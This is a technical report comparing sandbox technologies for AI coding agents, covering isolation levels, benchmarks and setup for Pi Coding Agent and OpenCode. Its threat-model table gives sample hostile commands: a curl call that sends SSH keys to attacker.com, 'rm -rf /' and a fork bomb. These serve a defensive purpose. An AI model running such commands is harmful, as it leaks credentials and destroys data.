AI coding agents generate and execute arbitrary code at machine speed. That code can be buggy, adversarially manipulated via prompt injection, or simply unpredictable. A sandbox is the security boundary that contains the blast radius.
This report compares every major sandbox technology available in 2026 — their isolation models, performance characteristics, and practical integration with Pi Coding Agent and OpenCode.
Threat Model for Agent Code Execution #
Before evaluating sandboxes, establish what they must defend against:
| Threat | Example |
|---|---|
| Secret exfiltration | curl https://attacker.com/$(cat /etc/ssh/keys) |
| Supply-chain attack | Malicious PyPI/npm package pulled during pip install |
| Host compromise | Container escape via kernel CVE |
| Data corruption | Accidental rm -rf / or database mutation |
| Network pivoting | Scanning internal network from compromised sandbox |
| Resource exhaustion | Fork bomb consuming all host CPU |
A sandbox enforces five controls: network egress (default-deny), filesystem boundaries (scoped workspace), process isolation (dedicated kernel), secrets scoping (credentials never enter), and ephemeral lifecycle (state does not persist across sessions unless opted in).
The Isolation Spectrum #
Sandboxing exists on a spectrum. Each level offers different guarantees, performance profiles, and operational costs.
Level 0: No Sandbox
exec()
or subprocess calls on the host.
Performance: Native — zero overheadIsolation: NoneAttack surface: Full host accessUse when: Running trusted scripts in offline dev environments only
Level 1: Container Isolation (Docker / LXC)
Linux namespaces (pid, net, mnt, uts, ipc) + cgroups.
Cold start:~200ms** Memory overhead:~5-10MB per instance Isolation:Shared host kernel — one unpatched CVE compromises all containers on the host Suitable for:Trusted code in single-tenant environments, prototyping Known escapes:**CVE-2024-21626 (runc), CVE-2025-59528 (CVSS 10.0)
Level 2: gVisor (User-Space Kernel)
Intercepts syscalls in user space. Each sandbox gets a Sentry process that implements Linux kernel logic in Go.
Cold start: Sub-secondRuntime overhead:~10-20% per syscall** Isolation:Per-sandbox user-space kernel, no direct host kernel access Attack surface:gVisor itself is a large Go codebase (~70% syscall coverage) Used by:Modal, Beam, Northflank (optional) Suitable for:**Compute-heavy multi-tenant workloads, Python/ML pipelines
Level 3: MicroVM (Firecracker, Kata Containers, RustVMM/KVM)
Full hardware virtualization — each sandbox runs a dedicated Guest OS kernel.
Cold start: 60-150msMemory overhead: 5-50MB per instanceIsolation: Escape requires VM escape — orders of magnitude harder than container escapeSuitable for: Untrusted LLM-generated code, multi-tenant production, regulated industriesUsed by: E2B (Firecracker), CubeSandbox (CubeVM/KVM), Northflank (Kata/CLH), Vercel (Firecracker), Cloudflare, CodeSandbox
Level 4: Confidential Computing (TEE)
Hardware-enforced memory encryption (Intel SGX/TDX, AMD SEV-SNP).
Isolation: Even the hypervisor cannot access sandbox memorySuitable for: Financial services, healthcare, defenseTrade-off: Higher overhead, limited memory, complex programming model
Platform Comparison #
| Platform | Isolation | Cold Start | Mem/Instance | Session Limit | BYOC | GPU | Open Source |
|---|---|---|---|---|---|---|---|
| E2B | |||||||
| Firecracker microVM | ~150ms | 30-50MB | 24h | Experimental | No | Partial (Apache 2.0) | |
| CubeSandbox | |||||||
| CubeVM (Rust) + KVM | <60ms | ||||||
| <5MB (CoW) | |||||||
| Unlimited | Full self-host | No | Full (Apache 2.0) | ||||
| Modal | |||||||
| gVisor | Sub-second | ~30MB | 24h | No | H100, A100 | No | |
| Northflank | |||||||
| Kata/CLH + gVisor | Seconds | ~50MB | Unlimited | AWS, GCP, Azure, bare-metal | H100, H200 | No | |
| Blaxel | |||||||
| MicroVM | ~25ms (standby resume) | ~30MB | Unlimited (standby) | No | No | No | |
| Daytona | |||||||
| Docker (Kata optional) | ~90ms | 10-20MB | Unlimited | Enterprise | No | Yes | |
| Cloudflare | |||||||
| MicroVM | 2-3s | ~30MB | Configurable | No | No | No | |
| Vercel | |||||||
| Firecracker | Sub-second | ~30MB | 5h | No | No | No | |
| Beam | |||||||
| gVisor | 2-3s | ~30MB | Unlimited | Open-source | Yes | Partial |
Technology Deep Dives #
Firecracker (AWS)
KVM-based VMM designed by AWS for Lambda and Fargate. Each microVM runs a stripped Linux kernel with minimal devices (virtio-net, virtio-blk, serial, 8259 PIC). No BIOS, no ACPI, no PCI emulation.
Strengths:
- Battle-tested at Amazon scale (trillions of Lambda invocations)
- ~50,000 lines of Rust — minimal attack surface
- Jailer process provides additional seccomp isolation
Weaknesses:
- General-purpose design includes boot steps unnecessary for AI agents
- No native snapshot/restore API — must be implemented externally
- No GPU passthrough
| Cold start | ~125-150ms |
|---|---|
| Per-instance overhead | ~30-50MB |
| Lines of code | ~50K Rust |
| Snapshot/restore | External implementation required |
CubeVM (Tencent)
Custom KVM VMM built from scratch in Rust, inspired by Cloud Hypervisor. Optimized specifically for AI agent workloads rather than general-purpose serverless compute.
Key optimizations:
- Pre-created resource pool of blank microVMs maintained in background
- Snapshot cloning via Copy-on-Write — new instances fork from template snapshots in microseconds
- Custom minimal Linux guest kernel with only subsystems needed for code execution
- Only virtio-net, virtio-blk, serial — no extraneous device emulation
- User-space interrupt handling for critical I/O paths
eBPF network isolation (CubeVS):
Three eBPF programs attached to kernel data path:
from_cube
— TC ingress on TAP device: SNAT, policy check, session trackingfrom_world
— TC ingress on host NIC: reverse NAT, port mappingfrom_envoy
— TC egress on overlay: DNAT to sandbox IPs
All private subnets are blocked by default (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
| Cold start (single) | <60ms |
|---|---|
| Cold start P99 (50 concurrent) | 137ms |
| Per-instance memory | <5MB (CoW) |
| Sandboxes per node | 2,000+ |
| Snapshot/rollback | CubeCoW engine — sub-100ms checkpoints |
| License | Apache 2.0 |
Strengths:
- 2-3x faster cold start than Firecracker-based alternatives
- 6-10x lower per-instance memory through CoW
- CubeCoW snapshot/rollback enables time-travel debugging for agents
- Fully open-source — no vendor lock-in
Weaknesses:
- Released April 2026 — newer ecosystem
- x86_64 only (ARM64 in preview)
- No GPU support
- Self-host only — no managed cloud tier
gVisor (Google)
Intercepts application syscalls in user space. The Sentry process implements Linux kernel semantics in Go. Runs as an OCI runtime (runsc
).
| Cold start | Sub-second |
|---|---|
| Syscall coverage | ~70% |
| Runtime overhead | 10-20% on syscall-heavy workloads |
| Suitable for | Python/ML workloads |
Strengths:
- No hardware virtualization required
- Drop-in replacement for Docker via OCI runtime
- Sub-second cold start
- Kubernetes-native
Weaknesses:
- Incomplete syscall coverage — some applications fail
- gVisor Sentry itself is a large attack surface
- Cannot run workloads requiring kernel modules, eBPF programs, or device access
Kata Containers
Wraps microVMs (Firecracker, Cloud Hypervisor, QEMU) behind a containerd interface. Each container gets a full hardware-virtualized environment.
| Cold start | 1-3 seconds |
|---|---|
| Memory overhead | 50-100MB |
| OCI compatible | Yes — drop-in container replacement |
Strengths:
- Drop-in replacement for Docker — unmodified OCI images
- Hardware virtualization without changing workflow
- Strong isolation from full VM boot
Weaknesses:
- Slower cold start than Firecracker or CubeVM
- Higher resource overhead
- Complex networking setup
Performance Benchmarks #
Cold Start Latency
All measurements in milliseconds. CubeSandbox on bare metal; others from vendor-published or independently verified data.
| Platform | Single | P50 (50 concurrent) | P95 (50 concurrent) | P99 (50 concurrent) |
|---|---|---|---|---|
| CubeSandbox | ||||
| <60 | ||||
| 67 | ||||
| 90 | ||||
| 137 | ||||
| Blaxel (standby resume) | ~25 | — | — | — |
| Daytona | ~90 | ~95 | ~120 | ~180 |
| E2B | ~150 | ~160 | ~200 | ~300 |
| Docker | ~200 | ~210 | ~250 | ~350 |
| gVisor | Sub-second | — | — | — |
| Kata Containers | 1,000-3,000 | — | — | — |
| Cloudflare | 2,000-3,000 | — | — | — |
Memory Overhead per Instance
| Technology | Base Overhead | Mechanism |
|---|---|---|
| CubeSandbox | <5MB | |
| Copy-on-Write memory sharing with template | ||
| Docker | 5-10MB | Shared kernel, minimal process overhead |
| gVisor | 15-30MB | Sentry process + Go runtime per sandbox |
| Firecracker (E2B) | 30-50MB | Guest kernel + init process |
| Kata Containers | 50-100MB | Full VM + guest OS + services |
| Traditional VM | 200-500MB | Full OS + system services |
Density per Node (16 vCPU, 64GB RAM)
| Technology | Sandboxes per Node |
|---|---|
| CubeSandbox | |
| 2,000+ | |
| Docker | 1,000-2,000 |
| gVisor | 500-1,000 |
| Firecracker | 200-500 |
| Kata Containers | 100-200 |
Integration: Pi Coding Agent #
Pi Coding Agent is a TypeScript-based coding agent CLI. It does not include built-in sandboxing — instead, it provides multiple extension points and documented patterns for isolation.
┌─────────────────────────────────────────────┐
│ Host Machine │
│ ┌─────────────────────────────────────────┐ │
│ │ Pi Coding Agent │ │
│ │ ┌──────────┐ ┌──────────┐ │ │
│ │ │ Extensions│ │ Skills │ │ │
│ │ └──────────┘ └──────────┘ │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────┐ │
│ │ Sandbox Layer │ │
│ │ ┌──────────┐ ┌──────────┐ │ │
│ │ │ Docker │ │ MicroVM │ │ │
│ │ └──────────┘ └──────────┘ │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────┐ │
│ │ Workspace (mounted volume) │ │
│ └─────────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
Pattern 1: pi-container-sandbox
Runs every read/write/edit/bash operation inside a per-session Docker container.
Setup:
pi install npm:pi-container-sandbox
Behavior:
-
Host project directory mounted read-write at
/workspace -
Agent runs as non-root
pi
user inside the container - No host
$HOME
, SSH keys, cloud credentials, or Docker socket exposed - Resource limits via configurable size tiers
- Optional reusable named containers
Runtime commands:
/sandbox status Current container status and image digest
/sandbox doctor Verify core tools inside the container
/sandbox update Pull configured sandbox image
/sandbox pin <tag> Pin project to specific image tag
/sandbox allow <path> Grant session-level host read access
Configuration ( .pi/agent/sandbox.json):
{
"image": "thegreataxios/pi-sandbox",
"tag": "latest",
"pinned": false,
"lastDigest": null
}
Pros: Simple one-command setup, familiar Docker workflow, project-scoped isolationCons: Docker shared-kernel isolation, no network egress control by default
Pattern 2: Gondolin Micro-VM Extension
Keep Pi and provider authentication on the host while routing built-in tools and !
commands into a local Linux micro-VM.
┌──────────────┐ ┌──────────────┐
│ Host Pi │ │ Micro-VM │
│ ───────── │ │ ───────── │
│ LLM calls │◄───►│ Tool exec │
│ Auth tokens │ │ File I/O │
│ Extensions │ │ Shell cmds │
└──────────────┘ └──────────────┘
Pros: Strongest isolation (VM-level), LLM credentials never enter the sandboxCons: Manual setup required, higher resource overhead than Docker
Pattern 3: pi-agent-sandbox (Sandbox Awareness)
When Pi runs inside an agent-sandbox
(asb) environment, this extension:
- Displays a colored
[sandboxed:<profile>]
footer for visibility - Injects sandbox-access context parsed from
ASB_PROFILE_JSON
- Installs an
asb-pi
shell wrapper that launches Pi inside tmux
pi install npm:pi-agent-sandbox
Pattern 4: PiClaw (Full Dockerized Web Sandbox)
Pi running inside a Debian container with a full web layer (TypeScript + Bun).
┌──────────────────────────────────────────┐
│ Docker Container │
│ ┌────────┐ ┌──────────────────────┐ │
│ │ Pi │ │ Web Layer (Bun) │ │
│ │ Agent │ │ - CodeMirror editor │ │
│ │ CLI │ │ - SSE streaming │ │
│ └────────┘ │ - File explorer │ │
│ │ - WhatsApp gateway │ │
│ └──────────────────────┘ │
│ ┌──────────────────────────────────┐ │
│ │ SQLite (sessions, messages, │ │
│ │ tokens, encrypted keychain) │ │
│ └──────────────────────────────────┘ │
└──────────────────────────────────────────┘
docker pull ghcr.io/pi-claw/piclaw:latest
docker run -p 3000:3000 ghcr.io/pi-claw/piclaw:latest
Pi Sandbox Selection Guide
| Requirement | Recommended Pattern |
|---|---|
| Quick isolation, minimal setup | pi-container-sandbox (Docker) |
| Untrusted code, maximum security | Gondolin extension (micro-VM) |
| Visual sandbox status awareness | pi-agent-sandbox |
| Web UI, auth, multi-user | PiClaw |
| RL training at scale | CubeSandbox (custom runtime) |
Integration: OpenCode #
OpenCode is a Go-based coding agent by anomalyco (SST team). Client-server architecture with Bubble Tea TUI, 75+ LLM providers via Vercel AI SDK, and native MCP protocol support.
┌─────────────────────────────────────────────┐
│ OpenCode Architecture │
│ │
│ ┌──────────┐ ┌──────────────────────┐ │
│ │ Client │ │ OpenCode Server │ │
│ │ (TUI) │◄──►│ Hono HTTP server │ │
│ │ Desktop │ │ LLM orchestration │ │
│ │ Web App │ │ Tool execution │ │
│ │ VS Code │ │ Session persistence │ │
│ └──────────┘ │ MCP servers │ │
│ └──────────┬───────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Sandbox Layer │ │
│ │ (Docker / MicroVM) │ │
│ └──────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Workspace │ │
│ └──────────────────────┘ │
└─────────────────────────────────────────────┘
Method 1: opencode-sandbox (Community Docker)
Dockerized environment with a team of specialized agents with scoped permissions.
git clone https://github.com/crallen/opencode-sandbox.git
cd opencode-sandbox
docker build -t opencode-sandbox .
docker run -it \
-v $(pwd):/workspace \
-e ANTHROPIC_API_KEY=$ANTHROPIC_API_KEY \
opencode-sandbox
Limitations: Only project-level config from the mounted workspace; user-level ~/.config/opencode/
is not available inside the container.
Method 2: Docker Sandbox (Official)
Docker's sandbox product supports OpenCode natively with secure credential management.
sbx run opencode ~/my-project
sbx secret set -g anthropic
sbx secret set -g openai
API keys are stored in Docker's secrets store, not inside the sandbox filesystem.
Method 3: AIO Sandbox
OpenCode bundled inside a pre-configured sandbox environment with web access.
docker run --security-opt seccomp=unconfined -it \
-p 127.0.0.1:8080:8080 \
-e OPENCODE_API_KEY="your-key" \
-e OPENCODE_MODEL="your-model" \
ghcr.io/agent-infra/sandbox:latest
Access OpenCode via browser at http://localhost:8080/opencode
.
Method 4: CubeSandbox KVM MicroVM
Maximum isolation — OpenCode inside a hardware-virtualized microVM with eBPF network isolation.
cubemastercli tpl create-from-image \
--image opencode-sandbox:latest \
--writable-layer-size 2G \
--expose-port 49999
Combines OpenCode's agent capabilities with CubeSandbox's sub-60ms cold start, sub-5MB per-instance overhead, and eBPF network policies.
OpenCode Sandbox Configuration
Inside any sandbox, OpenCode's built-in permission system applies:
{
"permissions": {
"bash:": "allow",
"write:": "allow",
"read:": "allow",
"edit:": "allow",
"glob:": "allow",
"grep:": "allow"
},
"sandbox": "workspace-write",
"network_access": false
}
sandbox: "workspace-write"
restricts file writes to the workspace directory.network_access: false
blocks all outbound connections except to configured LLM endpoints.
Decision Matrix #
By Risk Level
| Risk | Workload Type | Recommended Technology |
|---|---|---|
| Low | Trusted scripts, local development | Docker (pi-container-sandbox, opencode-sandbox) |
| Medium | Multi-tenant, user-contributed code | gVisor (Modal, Beam) |
| High | Untrusted LLM-generated code, production | MicroVM — CubeSandbox (self-host) or E2B (managed) |
| Critical | Regulated data (finance, healthcare) | MicroVM + TEE — Northflank BYOC or CubeSandbox self-host |
By Use Case
| Use Case | Best Platform | Rationale |
|---|---|---|
| Quick prototype | E2B Cloud | Mature SDK, $100 free credits, 5-minute setup |
| Self-host, extreme performance | CubeSandbox | Sub-60ms cold start, sub-5MB memory, Apache 2.0 |
| Enterprise BYOC, GPU | Northflank | True BYOC (AWS, GCP, Azure, bare-metal), SOC 2 |
| GPU inference in sandbox | Modal | Only platform with native GPU passthrough |
| RL training at scale | CubeSandbox | 2,000+ sandboxes per node, 60ms boot cycle |
| Global edge deployment | Cloudflare | CDN distribution, minimal user-facing latency |
| Next.js ecosystem | Vercel Sandbox | Native Vercel AI SDK integration, zero configuration |
| Rapid dev iteration | Daytona | 90ms cold start, Git/LSP support, multi-language SDK |
By Integration Target
| Coding Agent | Sandbox Approach | Setup Difficulty |
|---|---|---|
| Pi | pi-container-sandbox (Docker) | Easy — pi install npm:pi-container-sandbox |
| Pi | Gondolin micro-VM | Hard — manual infrastructure |
| Pi | PiClaw (Docker + web) | Medium — docker pull |
| OpenCode | opencode-sandbox (Docker) | Easy — docker build + run |
| OpenCode | Docker Sandbox (sbx run ) |
|
| Easy — native support | ||
| OpenCode | CubeSandbox (KVM microVM) | Hard — self-hosted KVM infrastructure |
| OpenCode | AIO Sandbox | Medium — docker run with config |
Quick Start Guides #
Pi + CubeSandbox (Maximum Isolation)
git clone https://github.com/TencentCloud/CubeSandbox.git
cd CubeSandbox/dev-env
./prepare_image.sh && ./run_vm.sh
cubemastercli tpl create-from-image \
--image pi-sandbox:latest \
--writable-layer-size 2G
from e2b_code_interpreter import Sandbox
with Sandbox.create(template="pi-template") as sandbox:
sandbox.run_code("pi 'refactor this module'")
OpenCode + Docker Sandbox (Quick Setup)
curl -fsSL https://opencode.ai/install | bash
sbx run opencode ~/my-project
Pi + pi-container-sandbox (Easiest)
npm install -g @earendil-works/pi-coding-agent
pi install npm:pi-container-sandbox
cd ~/my-project && pi
Future Trends #
MicroVMs become the default isolation boundary. Container escapes (CVE-2025-59528, CVSS 10.0) have demonstrated that shared-kernel isolation is insufficient for production AI agents handling untrusted code.Purpose-built VMMs outperform general-purpose ones. CubeSandbox's CubeVM achieves 3x faster cold starts than Firecracker by eliminating boot paths irrelevant to AI agent workloads. Expect more domain-specific VMMs to emerge.eBPF for kernel-level network security. The CubeVS pattern — per-sandbox TAP devices with eBPF policy enforcement — is becoming the standard approach for agent network isolation.Self-sandboxing agents. Coding agents that auto-sandbox (OpenCode'sworkspace-write
, Pi's container extensions) are narrowing the gap between development and production security postures.Multi-vendor sandbox routing. Different agent subtasks dispatched to different sandbox types — CPU-bound code to CubeSandbox, GPU inference to Modal, edge-serving to Cloudflare.Snapshot and rollback for agent debugging. CubeCoW's sub-100ms checkpoint/rollback enables time-travel debugging — an "undo button" for unpredictable agent behavior.Open-source protocol standardization. The E2B API protocol is becoming the de facto standard. CubeSandbox's full-stack Apache 2.0 release enables self-hosted alternatives to every managed sandbox service.
Summary #
| Platform | Best For | Isolation | Cold Start | Cost Model |
|---|---|---|---|---|
| CubeSandbox | ||||
| Self-host, RL training, maximum performance | KVM microVM | <60ms | Free (self-host, Apache 2.0) | |
| E2B | ||||
| Quick integration, managed cloud | Firecracker | ~150ms | $0.05/vCPU-hr | |
| Northflank | ||||
| Enterprise BYOC, GPU workloads | Kata/gVisor | Seconds | $0.01667/vCPU-hr | |
| Modal | ||||
| Python ML + GPU workloads | gVisor | Sub-second | $0.047/vCPU-hr | |
| Blaxel | ||||
| Persistent state, fast resume | MicroVM | ~25ms standby | GB-second billing | |
| Daytona | ||||
| Development speed, open source | Docker/Kata | ~90ms | $0.0504/vCPU-hr | |
| Docker | ||||
| Local sandboxing for Pi and OpenCode | Container | ~200ms | Free |
The takeaway for 2026: Start with Docker for simplicity — pi-container-sandbox
for Pi or sbx run opencode
for OpenCode. Graduate to CubeSandbox or Northflank when you need hardware-level isolation at production scale. The choice ultimately depends on your threat model: shared-kernel isolation is acceptable for prototyping; production deployments handling untrusted code require microVMs.